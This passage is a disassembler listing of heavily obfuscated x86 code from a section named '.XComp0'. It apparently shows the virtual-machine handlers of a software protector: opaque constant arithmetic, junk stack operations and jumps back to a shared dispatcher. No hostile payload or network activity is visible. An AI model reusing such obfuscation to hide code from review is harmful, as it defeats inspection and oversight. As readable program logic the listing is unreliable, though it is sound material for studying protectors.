loc_57F1D0:				; CODE XREF: .XComp0:00578807j
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 3EF328F1h
		sub	ebx, 694306D5h
		add	ebx, esi
		add	ebx, 694306D5h
		jmp	loc_5744B0
; ---------------------------------------------------------------------------


loc_57F1F2:				; CODE XREF: .XComp0:005808DCj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_583129
; ---------------------------------------------------------------------------


loc_57F1FE:				; CODE XREF: .XComp0:0058033Cj
		push	esp
		pop	ecx
		jmp	loc_57A3BF
; ---------------------------------------------------------------------------


loc_57F205:				; CODE XREF: .XComp0:0057AD36j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		push	4FAFh
		mov	[esp], ebp
		push	esp
		jmp	loc_574773
; ---------------------------------------------------------------------------


loc_57F21A:				; CODE XREF: .XComp0:00579C63j
		not	ebx
		push	edx
		mov	edx, 70BF5688h
		jmp	loc_58327C
; ---------------------------------------------------------------------------


loc_57F227:				; CODE XREF: .XComp0:00581019j
		add	esp, 4
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_580F64
; ---------------------------------------------------------------------------


loc_57F238:				; CODE XREF: .XComp0:0057A674j
		and	ebp, eax
		jmp	loc_580FB6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	6F71h
		mov	[esp], edi
		mov	edi, 2
		sub	ebx, 77BA0BC5h
		add	ebx, edi
		add	ebx, 77BA0BC5h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_580D53
; ---------------------------------------------------------------------------


loc_57F28D:				; CODE XREF: .XComp0:00580B69j
		push	edx
		mov	dl, al
		push	ebx
		mov	bh, dl
		mov	cl, bh
		jmp	loc_57B1CB
; ---------------------------------------------------------------------------


loc_57F29A:				; CODE XREF: .XComp0:00574AB2j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	38E97A57h
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edi
		jmp	loc_57DC58
; ---------------------------------------------------------------------------


loc_57F2B2:				; CODE XREF: .XComp0:00580759j
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_57F7F3
; ---------------------------------------------------------------------------


loc_57F2C0:				; CODE XREF: .XComp0:0057EE26j
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F2CE:				; CODE XREF: .XComp0:0057617Cj
		not	ebx
		dec	ebx
		push	ebp
		mov	ebp, 5B52337h
		sub	ebp, 3B224C87h
		add	ebp, 5BF925D4h
		neg	ebp
		jmp	loc_575B24
; ---------------------------------------------------------------------------


loc_57F2EA:				; CODE XREF: .XComp0:00578535j
		mov	bh, ch
		pop	ecx
		jmp	loc_57883A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_573841
; ---------------------------------------------------------------------------


loc_57F2FB:				; CODE XREF: .XComp0:005770A9j
		mov	ecx, esp
		jmp	loc_5739A4
; ---------------------------------------------------------------------------


loc_57F302:				; CODE XREF: .XComp0:00576863j
		mov	edx, 3955AF7h
		neg	edx
		inc	edx
		add	edx, 64D66875h
		sub	eax, edx
		pop	edx
		sub	eax, 76291B97h
		pop	edx
		add	ecx, 543B4E72h
		add	ecx, eax
		sub	ecx, 543B4E72h
		mov	eax, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F33D:				; CODE XREF: .XComp0:00581826j
		mov	edi, esi
		pop	esi
		jmp	loc_57D621
; ---------------------------------------------------------------------------


loc_57F345:				; CODE XREF: .XComp0:0057FCDCj
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F353:				; CODE XREF: .XComp0:0057F0A6j
		add	esp, 4
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F35B:				; CODE XREF: .XComp0:005789EBj
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_57D419
; ---------------------------------------------------------------------------


loc_57F367:				; CODE XREF: .XComp0:005786E9j
		pop	ebx
		shl	ebp, 1
		jmp	loc_57C764
; ---------------------------------------------------------------------------


loc_57F36F:				; CODE XREF: .XComp0:0057ED73j
		push	ecx
		push	28145FFBh
		pop	ecx
		add	ecx, 0E160059h
		mov	ebp, ecx
		pop	ecx
		sub	ebp, 362A6050h
		jmp	loc_57FA2C
; ---------------------------------------------------------------------------


loc_57F38A:				; CODE XREF: .XComp0:005822E6j
		mov	esp, [esp]
		jmp	loc_579FE1
; ---------------------------------------------------------------------------


loc_57F392:				; CODE XREF: .XComp0:0057EE48j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5793D0
; ---------------------------------------------------------------------------


loc_57F3A3:				; CODE XREF: .XComp0:00580FB1j
		pop	esi
		jmp	loc_582412
; ---------------------------------------------------------------------------


loc_57F3A9:				; CODE XREF: .XComp0:0057881Dj
		xor	ebx, 0CD6AD3B5h
		mov	esi, ebx
		pop	ebx
		push	ebx
		jmp	loc_575971
; ---------------------------------------------------------------------------


loc_57F3B8:				; CODE XREF: .XComp0:00582327j
		pop	bx
		add	al, 0F6h
		add	dl, al
		pop	eax
		or	dl, 8Dh
		dec	dl
		jmp	loc_57BCA8
; ---------------------------------------------------------------------------


loc_57F3C9:				; CODE XREF: .XComp0:00577A2Dj
		sub	edx, ecx
		jmp	loc_5819B9
; ---------------------------------------------------------------------------


loc_57F3D0:				; CODE XREF: .XComp0:00578C87j
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58361A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_57B636
; ---------------------------------------------------------------------------


loc_57F3EB:				; CODE XREF: .XComp0:00574847j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57698B
; ---------------------------------------------------------------------------


loc_57F40B:				; CODE XREF: .XComp0:0057E482j
		add	ebp, eax
		pop	eax
		mov	ebx, ebp
		pop	ebp
		add	ebx, 0FFFFFFFFh
		not	ebx
		not	ebx
		jmp	loc_5788B6
; ---------------------------------------------------------------------------


loc_57F41D:				; CODE XREF: .XComp0:0057BED0j
		mov	eax, 0CFD09897h
		push	esi
		mov	esi, 5EE23AD9h
		push	ebp
		mov	ebp, 2A03668Dh
		jmp	loc_57EF24
; ---------------------------------------------------------------------------


loc_57F433:				; CODE XREF: .XComp0:00582C3Ej
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F438:				; CODE XREF: .XComp0:005772E0j
		push	esi
		mov	esi, edx
		mov	eax, esi
		pop	esi
		pop	edx
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F45B:				; CODE XREF: .XComp0:00582CF9j
		xor	eax, ebx
		pop	ebx
		sub	edi, 76A056F1h
		add	edi, eax
		jmp	loc_57B4D0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	73ADh
		jmp	loc_581F0E
; ---------------------------------------------------------------------------


loc_57F479:				; CODE XREF: .XComp0:0057D52Aj
		add	ebp, 384034D3h
		add	esi, ebp
		pop	ebp
		push	eax
		push	edx
		push	17EE0994h
		pop	edx
		and	edx, 65FA2721h
		jmp	loc_57E66B
; ---------------------------------------------------------------------------


loc_57F495:				; CODE XREF: .XComp0:0058342Bj
		push	0FFFFFFFFh
		pop	edi
		sub	ebp, 3F3D0473h
		add	ebp, edi
		add	ebp, 3F3D0473h
		jmp	loc_5801F6
; ---------------------------------------------------------------------------


loc_57F4AE:				; CODE XREF: .XComp0:0057F09Bj
		pop	eax
		add	eax, 4
		push	7AF5h
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_5784FF
; ---------------------------------------------------------------------------


loc_57F4CC:				; CODE XREF: .XComp0:00576C03j
		mov	dx, [esp]
		add	esp, 2
		add	bl, 69h
		add	bl, al
		jmp	loc_580FED
; ---------------------------------------------------------------------------


loc_57F4E0:				; CODE XREF: .XComp0:0057AB65j
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	254Bh
		mov	[esp], ebp
		jmp	loc_57DEB6
; ---------------------------------------------------------------------------


loc_57F4F2:				; CODE XREF: .XComp0:00574158j
		pop	esp
		mov	[esp], ecx
		jmp	loc_5815A0
; ---------------------------------------------------------------------------


loc_57F4FB:				; CODE XREF: .XComp0:0057E8DDj
		not	esi
		push	ebp
		jmp	loc_578643
; ---------------------------------------------------------------------------


loc_57F503:				; CODE XREF: .XComp0:0057ECACj
		push	47EAh
		mov	[esp], esi
		jmp	loc_574507
; ---------------------------------------------------------------------------


loc_57F510:				; CODE XREF: .XComp0:0057A51Aj
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		push	ebp
		jmp	loc_5743B4
; ---------------------------------------------------------------------------


loc_57F520:				; CODE XREF: .XComp0:0057F8DCj
		pop	ecx
		sub	ebx, 4
		jmp	loc_576D84
; ---------------------------------------------------------------------------


loc_57F529:				; CODE XREF: .XComp0:0057E780j
		pop	eax
		add	edi, ecx
		jmp	loc_57F5A2
; ---------------------------------------------------------------------------


loc_57F531:				; CODE XREF: .XComp0:005830B1j
		add	ebx, ebp
		push	eax
		mov	eax, 2CAC5358h
		xor	eax, 5FC0661h
		add	eax, 50E94B50h
		jmp	loc_58303F
; ---------------------------------------------------------------------------


loc_57F548:				; CODE XREF: .XComp0:005795CEj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	4FD7h
		jmp	loc_57A679
; ---------------------------------------------------------------------------


loc_57F56A:				; CODE XREF: .XComp0:0057B4E8j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F56F:				; CODE XREF: .XComp0:0057A872j
		and	ebx, 405A0EBCh
		shr	ebx, 2
		xor	ebx, 9764345Ah
		sub	ebx, edi
		jmp	loc_574A68
; ---------------------------------------------------------------------------


loc_57F585:				; CODE XREF: .XComp0:0057EDBFj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5764C7
; ---------------------------------------------------------------------------


loc_57F59C:				; CODE XREF: .XComp0:0057BE09j
		pop	ebx
		jmp	loc_583513
; ---------------------------------------------------------------------------


loc_57F5A2:				; CODE XREF: .XComp0:0057F52Cj
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_57D072
; ---------------------------------------------------------------------------


loc_57F5AF:				; CODE XREF: .XComp0:00575224j
		sub	ebx, 8504C905h
		jmp	loc_5755DB
; ---------------------------------------------------------------------------


loc_57F5BA:				; CODE XREF: .XComp0:0057DD93j
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_57CCF9
; ---------------------------------------------------------------------------


loc_57F5D2:				; CODE XREF: .XComp0:0057709Dj
		add	ecx, ebx
		jmp	loc_579DBA
; ---------------------------------------------------------------------------


loc_57F5D9:				; CODE XREF: .XComp0:00578631j
		neg	eax
		inc	eax
		inc	eax
		add	eax, 0A67241AEh
		sub	edi, eax
		jmp	loc_57D2C9
; ---------------------------------------------------------------------------


loc_57F5E9:				; CODE XREF: .XComp0:00582768j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		push	esi
		push	ebp
		mov	ebp, 6F6960E7h
		sub	ebp, 665C3E2Fh
		neg	ebp
		sub	ebp, 7E9878D5h
		sub	ebp, 785A646Fh
		mov	esi, ebp
		pop	ebp
		add	eax, esi
		pop	esi
		push	2021h
		mov	[esp], esi
		mov	esi, 0A22707Dh
		inc	esi
		push	edx
		jmp	loc_57DF95
; ---------------------------------------------------------------------------


loc_57F62B:				; CODE XREF: .XComp0:00580F29j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		sub	esp, 4
		push	esp
		jmp	loc_57C415
; ---------------------------------------------------------------------------


loc_57F648:				; CODE XREF: .XComp0:0057D56Aj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_574A85
; ---------------------------------------------------------------------------


loc_57F65C:				; CODE XREF: .XComp0:0057F7A0j
		mov	ecx, 25FB3CBEh
		add	ecx, 0F3671CABh
		mov	esi, ecx
		jmp	loc_57A6B4
; ---------------------------------------------------------------------------


loc_57F66E:				; CODE XREF: .XComp0:00582B50j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_575054
; ---------------------------------------------------------------------------


loc_57F680:				; CODE XREF: .XComp0:00573F0Dj
		add	ebx, ecx
		jmp	loc_57F8E1
; ---------------------------------------------------------------------------


loc_57F687:				; CODE XREF: .XComp0:00576362j
		mov	[esp], edx
		jmp	loc_57B540
; ---------------------------------------------------------------------------


loc_57F68F:				; CODE XREF: .XComp0:0057E051j
		mov	bh, al
		pop	eax
		mov	[edi+eax*4], bh
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F6A4:				; CODE XREF: .XComp0:0058135Ej
		pop	dword ptr [eax]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F6AB:				; CODE XREF: .XComp0:0057BD67j
		pop	esi
		not	eax
		push	2EFFh
		mov	[esp], ebx
		jmp	loc_573A7C
; ---------------------------------------------------------------------------


loc_57F6BB:				; CODE XREF: .XComp0:005811F4j
		mov	bl, 3Bh
		add	bl, 0C5h
		sub	bl, 32h
		jmp	loc_574D99
; ---------------------------------------------------------------------------


loc_57F6C8:				; CODE XREF: .XComp0:00578202j
		mov	ebx, 5DE63E63h
		inc	ebx
		shr	ebx, 1
		sub	ebx, 2EF31F2Eh
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_57B20B
; ---------------------------------------------------------------------------


loc_57F6E7:				; CODE XREF: .XComp0:0057FDF7j
		xor	ecx, 0A108B836h
		mov	esi, ecx
		pop	ecx
		add	ecx, esi
		jmp	loc_57F104
; ---------------------------------------------------------------------------


loc_57F6F7:				; CODE XREF: .XComp0:005817E7j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_57B819
; ---------------------------------------------------------------------------


loc_57F705:				; CODE XREF: .XComp0:0057CB4Aj
		push	esi
		mov	esi, 4
		sub	ebp, 7641748Bh
		jmp	loc_583190
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F725:				; CODE XREF: .XComp0:0057B86Aj
		mov	esp, [esp]
		sub	ax, 4A49h
		sub	esp, 2
		mov	[esp], di
		push	small 0C784h
		pop	di
		jmp	loc_5787D0
; ---------------------------------------------------------------------------


loc_57F741:				; CODE XREF: .XComp0:00575D1Cj
		shr	ebx, 2
		sub	ebx, 56CBEC88h
		sub	ebp, 568277E6h
		sub	ebp, ebx
		add	ebp, 568277E6h
		mov	ebx, [esp]
		jmp	loc_57C6AA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2EFFh
		jmp	loc_577CB7
; ---------------------------------------------------------------------------


loc_57F76E:				; CODE XREF: .XComp0:00583133j
		mov	[esp], edi
		push	esi
		push	2D5A65D8h
		pop	esi
		or	esi, 11E65CE3h
		jmp	loc_57C002
; ---------------------------------------------------------------------------


loc_57F783:				; CODE XREF: .XComp0:00578542j
		push	ebp
		jmp	loc_582476
; ---------------------------------------------------------------------------


loc_57F789:				; CODE XREF: .XComp0:0057BBCDj
		neg	ecx
		xor	ecx, 0C016B046h
		add	esi, ecx
		jmp	loc_577B1D
; ---------------------------------------------------------------------------


loc_57F798:				; CODE XREF: .XComp0:0057A009j
		sub	ebx, 46CD4E54h
		push	esi
		push	ecx
		jmp	loc_57F65C
; ---------------------------------------------------------------------------


loc_57F7A5:				; CODE XREF: .XComp0:0057E384j
		add	esp, 4
		jmp	loc_57792A
; ---------------------------------------------------------------------------


loc_57F7B0:				; CODE XREF: .XComp0:005786C0j
		push	bx
		mov	bh, 9Fh
		jmp	loc_57F84E
; ---------------------------------------------------------------------------


loc_57F7B9:				; CODE XREF: .XComp0:00583318j
		pop	esi
		add	ebp, eax
		sub	ebp, 6F6D4E55h
		mov	eax, [esp]
		add	esp, 4
		push	841h
		mov	[esp], ebp
		jmp	loc_57D7BC
; ---------------------------------------------------------------------------


loc_57F7D5:				; CODE XREF: .XComp0:0058245Ej
		push	ebp
		mov	ebp, esp
		jmp	loc_578A5B
; ---------------------------------------------------------------------------


loc_57F7DD:				; CODE XREF: .XComp0:0057DB9Cj
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F7E4:				; CODE XREF: .XComp0:0057E096j
		pop	esp
		jmp	loc_57EB8C
; ---------------------------------------------------------------------------


loc_57F7EA:				; CODE XREF: .XComp0:0057DCD3j
		pop	edi
		add	edx, ebx
		pop	ebx
		jmp	loc_5736B4
; ---------------------------------------------------------------------------


loc_57F7F3:				; CODE XREF: .XComp0:0057F2BBj
		mov	ebx, 2E0052F6h
		xor	ebx, 73574D51h
		or	ebx, 50A95CFFh
		shl	ebx, 8
		jmp	loc_5748D8
; ---------------------------------------------------------------------------


loc_57F80C:				; CODE XREF: .XComp0:0057EEE7j
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7AD831D6h
		jmp	loc_579355
; ---------------------------------------------------------------------------


loc_57F82B:				; CODE XREF: .XComp0:0057EA35j
		pop	ecx
		jmp	loc_5808EA
; ---------------------------------------------------------------------------


loc_57F831:				; CODE XREF: .XComp0:0057EF1Fj
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_576A16
; ---------------------------------------------------------------------------


loc_57F83B:				; CODE XREF: .XComp0:005756B9j
		mov	[edi+28h], dl
		pop	edx
		jmp	loc_57C99F
; ---------------------------------------------------------------------------


loc_57F844:				; CODE XREF: .XComp0:0057B358j
		push	7361h
		jmp	loc_5736CD
; ---------------------------------------------------------------------------


loc_57F84E:				; CODE XREF: .XComp0:0057F7B4j
		add	ch, bh
		pop	bx
		jmp	loc_581A53
; ---------------------------------------------------------------------------


loc_57F857:				; CODE XREF: .XComp0:0057555Dj
		push	dword ptr [edi+eax*4]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57F85F:				; CODE XREF: .XComp0:00577668j
		add	ecx, edi
		push	dword ptr [ecx]
		jmp	loc_580A5A
; ---------------------------------------------------------------------------


loc_57F868:				; CODE XREF: .XComp0:00579163j
		pop	esi
		jmp	loc_579BF2
; ---------------------------------------------------------------------------


loc_57F86E:				; CODE XREF: .XComp0:00573606j
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		or	[edi+1Ch], edx
		jmp	loc_57E0B8
; ---------------------------------------------------------------------------


loc_57F894:				; CODE XREF: .XComp0:005805E0j
		push	dword ptr [esp]
		jmp	loc_57505F
; ---------------------------------------------------------------------------


loc_57F89C:				; CODE XREF: .XComp0:00573C8Aj
		mov	edi, 16C20BD5h
		push	esi
		mov	esi, 6C4F1BC7h
		add	edi, esi
		pop	esi
		jmp	loc_5744F0
; ---------------------------------------------------------------------------


loc_57F8AF:				; CODE XREF: .XComp0:0057ADCCj
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	6EFC1F29h
		jmp	loc_57E587
; ---------------------------------------------------------------------------


loc_57F8C3:				; CODE XREF: .XComp0:0057B1C6j
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		sub	ebx, 0F54491Dh
		add	ebx, ecx
		add	ebx, 0F54491Dh
		jmp	loc_57F520
; ---------------------------------------------------------------------------


loc_57F8E1:				; CODE XREF: .XComp0:0057F682j
		add	ebx, 5C582DC5h
		jmp	loc_57CDE0
; ---------------------------------------------------------------------------


loc_57F8EC:				; CODE XREF: .XComp0:0057AE38j
		push	1C73h
		mov	[esp], esp
		jmp	loc_574E1E
; ---------------------------------------------------------------------------


loc_57F8F9:				; CODE XREF: .XComp0:00580865j
		pop	edx
		add	eax, edi
		add	eax, 3AF30B33h
		xor	[eax], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5807AA
; ---------------------------------------------------------------------------


loc_57F90C:				; CODE XREF: .XComp0:00577265j
		shr	bh, 6
		add	bh, 2Ah
		xor	dh, bh
		jmp	loc_57DA4D
; ---------------------------------------------------------------------------


loc_57F919:				; CODE XREF: .XComp0:0057CC11j
		xchg	edi, ebx
		jmp	loc_5781A2
; ---------------------------------------------------------------------------


loc_57F920:				; CODE XREF: .XComp0:00576504j
		mov	esi, edi
		pop	edi
		sub	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	esi
		mov	esi, 7B0B7BF1h
		shl	esi, 5
		shr	esi, 4
		jmp	loc_58126C
; ---------------------------------------------------------------------------


loc_57F940:				; CODE XREF: .XComp0:0057FCF7j
		dec	ch
		neg	ch
		inc	ch
		shr	ch, 2
		xor	ch, 0BFh
		xor	al, ch
		pop	ecx
		jmp	loc_57A6DA
; ---------------------------------------------------------------------------


loc_57F954:				; CODE XREF: .XComp0:0057779Dj
		sub	ecx, 0F0D530C3h
		mov	edi, ecx
		pop	ecx
		jmp	loc_58240C
; ---------------------------------------------------------------------------


loc_57F962:				; CODE XREF: .XComp0:005748ABj
		mov	[esp], ebx
		push	edx
		push	ebx
		mov	ebx, 21C177A0h
		shl	ebx, 1
		and	ebx, 77762CBDh
		add	ebx, 0D0A24C4h
		mov	edx, ebx
		jmp	loc_5787F2
; ---------------------------------------------------------------------------


loc_57F981:				; CODE XREF: .XComp0:00581815j
		mov	edi, 480E510Ch
		sub	edi, 0CD3F0833h
		add	ebx, edi
		pop	edi
		mov	ebp, ebx
		jmp	loc_57C900
; ---------------------------------------------------------------------------


loc_57F996:				; CODE XREF: .XComp0:005763CCj
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_57817E
; ---------------------------------------------------------------------------


loc_57F99F:				; CODE XREF: .XComp0:00580715j
		pop	ecx
		push	esi
		jmp	loc_57687F
; ---------------------------------------------------------------------------


loc_57F9A6:				; CODE XREF: .XComp0:00582DEDj
		xor	dh, 65h
		xor	al, dh
		pop	edx
		push	bx
		mov	bh, 0FDh
		add	al, bh
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_57AAFF
; ---------------------------------------------------------------------------


loc_57F9C1:				; CODE XREF: .XComp0:0057C841j
		push	ecx
		mov	ecx, 0CEB5D207h
		sub	ebp, ecx
		pop	ecx
		mov	edi, ebp
		jmp	loc_57A067
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_579F71
; ---------------------------------------------------------------------------


loc_57F9DC:				; CODE XREF: .XComp0:00579449j
		push	ecx
		mov	ecx, 0B4416AAh
		xor	eax, ecx
		pop	ecx
		sub	eax, 409A6AA2h
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx
		pop	ebx
		pop	eax
		sub	ebp, 5270101Bh
		jmp	loc_5752B2
; ---------------------------------------------------------------------------


loc_57F9FC:				; CODE XREF: .XComp0:00575F34j
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57FA0C:				; CODE XREF: .XComp0:0057C1F4j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5830DC
; ---------------------------------------------------------------------------


loc_57FA1E:				; CODE XREF: .XComp0:00578356j
		sub	ebp, eax
		xchg	eax, ebp
		pop	ebp
		push	4126h
		jmp	loc_5753B6
; ---------------------------------------------------------------------------


loc_57FA2C:				; CODE XREF: .XComp0:0057F385j
		add	ecx, ebp
		pop	ebp
		jmp	loc_574F5F
; ---------------------------------------------------------------------------


loc_57FA34:				; CODE XREF: .XComp0:0057A8E2j
		pop	edx
		jmp	loc_582207
; ---------------------------------------------------------------------------


loc_57FA3A:				; CODE XREF: .XComp0:0057EBA9j
		xchg	ebx, [esp]
		pop	esp
		mov	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		sub	esi, ecx
		pop	ecx
		push	esi
		push	edx
		pop	esi
		pop	edx
		not	edx
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		jmp	loc_58214F
; ---------------------------------------------------------------------------


loc_57FA60:				; CODE XREF: .XComp0:00581CD2j
		mov	ah, 4Bh
		mov	dh, ah
		pop	eax
		xor	dh, al
		mov	eax, [esp]
		add	esp, 4
		shr	dh, 2
		push	ecx
		push	edx
		mov	dh, 29h
		jmp	loc_57EC13
; ---------------------------------------------------------------------------


loc_57FA7C:				; CODE XREF: .XComp0:0057A6B7j
		add	esp, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esi
		jmp	loc_57B887
; ---------------------------------------------------------------------------


loc_57FA99:				; CODE XREF: .XComp0:00577E86j
		push	eax
		jmp	loc_5793ED
; ---------------------------------------------------------------------------


loc_57FA9F:				; CODE XREF: .XComp0:0057D379j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_573CF7
; ---------------------------------------------------------------------------


loc_57FAB0:				; CODE XREF: .XComp0:00580A83j
		pop	esi
		push	2E1Fh
		mov	[esp], ebp
		push	esi
		jmp	loc_578AB9
; ---------------------------------------------------------------------------


loc_57FABF:				; CODE XREF: .XComp0:0057861Ej
		sub	dh, 3Ch
		jmp	loc_58128B
; ---------------------------------------------------------------------------


loc_57FAC7:				; CODE XREF: .XComp0:00582E43j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5741D9
; ---------------------------------------------------------------------------


loc_57FAD2:				; CODE XREF: .XComp0:005791CEj
		neg	cl
		sub	cl, 50h
		sub	al, cl
		pop	ecx
		jmp	loc_574A06
; ---------------------------------------------------------------------------


loc_57FADF:				; CODE XREF: .XComp0:0057DC2Dj
		pop	bx
		neg	al
		xor	al, 3Fh
		sub	bl, al
		pop	eax
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_58191D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57FAF4:				; CODE XREF: sub_5A47B5-27221j
		sub	cl, dh
		sub	cl, 0B0h
		mov	edx, [esp+0]
		add	esp, 4
		sub	cl, dl
		add	cl, 0A2h
		pop	edx
		jmp	loc_58142D
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57FB0D:				; CODE XREF: .XComp0:00576337j
		push	small 7D91h
		mov	[esp], ax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57FB1A:				; CODE XREF: .XComp0:005762AAj
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		jmp	loc_577015
; ---------------------------------------------------------------------------


loc_57FB25:				; CODE XREF: .XComp0:005760C7j
		mov	edi, 44542719h
		add	esi, edi
		pop	edi
		push	edi
		push	ebp
		push	642A6351h
		pop	ebp
		dec	ebp
		jmp	loc_57E6CC
; ---------------------------------------------------------------------------


loc_57FB3B:				; CODE XREF: .XComp0:00579A70j
		mov	ecx, 5D3269B9h
		jmp	loc_57CE58
; ---------------------------------------------------------------------------


loc_57FB45:				; CODE XREF: .XComp0:0057C483j
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, esi
		jmp	loc_57CACE
; ---------------------------------------------------------------------------


loc_57FB57:				; CODE XREF: .XComp0:0057A3BAj
		mov	[esp], esi
		mov	esi, 20673D3h
		xor	esi, 16F67BFAh
		xor	esi, 1BB537C1h
		and	esi, 21AD3057h
		jmp	loc_57B84D
; ---------------------------------------------------------------------------


loc_57FB76:				; CODE XREF: .XComp0:005740F0j
		shl	edi, 6
		neg	edi
		jmp	loc_578F70
; ---------------------------------------------------------------------------


loc_57FB80:				; CODE XREF: .XComp0:00578B58j
		mov	ebp, 41FB51D9h
		or	ebp, 1AAD7784h
		sub	ebp, 8B065D5h
		dec	ebp
		neg	ebp
		add	ebp, 0A829214Fh
		jmp	loc_57BE21
; ---------------------------------------------------------------------------


loc_57FB9F:				; CODE XREF: .XComp0:005807D5j
		sub	ecx, 496847E3h
		jmp	loc_573EBC
; ---------------------------------------------------------------------------


loc_57FBAA:				; CODE XREF: .XComp0:00578558j
		add	esp, 4
		jmp	loc_577EF3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	34F1h
		mov	[esp], esi
